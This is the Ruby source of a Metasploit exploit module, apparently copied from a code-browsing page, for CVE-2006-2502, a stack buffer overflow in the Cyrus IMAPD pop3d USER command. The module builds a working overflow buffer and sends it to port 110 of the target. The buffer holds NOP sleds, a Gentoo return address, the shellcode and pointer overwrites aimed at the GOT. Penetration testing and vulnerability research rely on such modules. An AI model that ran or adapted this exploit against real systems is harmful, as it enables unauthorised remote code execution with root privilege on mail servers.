Path: blob/master/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',15'Description' => %q{16This exploit takes advantage of a stack based overflow. Once the stack17corruption has occurred it is possible to overwrite a pointer which is18later used for a memcpy. This gives us a write anything anywhere condition19similar to a format string vulnerability.2021NOTE: The popsubfolders option is a non-default setting.2223I chose to overwrite the GOT with my shellcode and return to it. This24defeats the VA random patch and possibly other stack protection features.2526Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with27a version containing the vulnerable code, it is not exploitable due to the28use of the FORTIFY_SOURCE compiler enhancement.29},30'Author' => [ 'bannedit', 'jduck' ],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2006-2502' ],34[ 'OSVDB', '25853' ],35[ 'BID', '18056' ],36[ 'EDB', '2053' ],37[ 'EDB', '2185' ],38[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],39],40'Payload' => {41'Space' => 250,42'DisableNops' => true43},44'Platform' => 'linux',45'Targets' => [46# bannedit: 0x080fd20447# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)48[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],49],50'Privileged' => true,51'DisclosureDate' => '2006-05-21',52'DefaultTarget' => 0,53'Notes' => {54'Stability' => [CRASH_SERVICE_DOWN],55'SideEffects' => [IOC_IN_LOGS],56'Reliability' => [UNRELIABLE_SESSION]57}58)59)6061register_options([ Opt::RPORT(110) ])62end6364def exploit65connect66banner = sock.get_once.to_s.strip6768print_status "Banner: #{banner}"6970# NOTE: orig poc shellcode len: 847172# kcope: 352+84+86+4 (nops,sc,nops,ret)73# K-sPecial: 84+(120*4) (sc,addrs)74# bannedit: 265+8+250+29+1675shellcode = payload.encoded7677buf = 'USER '78buf << make_nops(265)79# return address80buf << [target.ret].pack('V') * 281buf << make_nops(250 - shellcode.length)82buf << shellcode83buf << make_nops(29)84sc_addr = target.ret - 27785buf << [sc_addr].pack('V') * 486buf << "\r\n"8788sock.send(buf, 0)89disconnect90end91end929394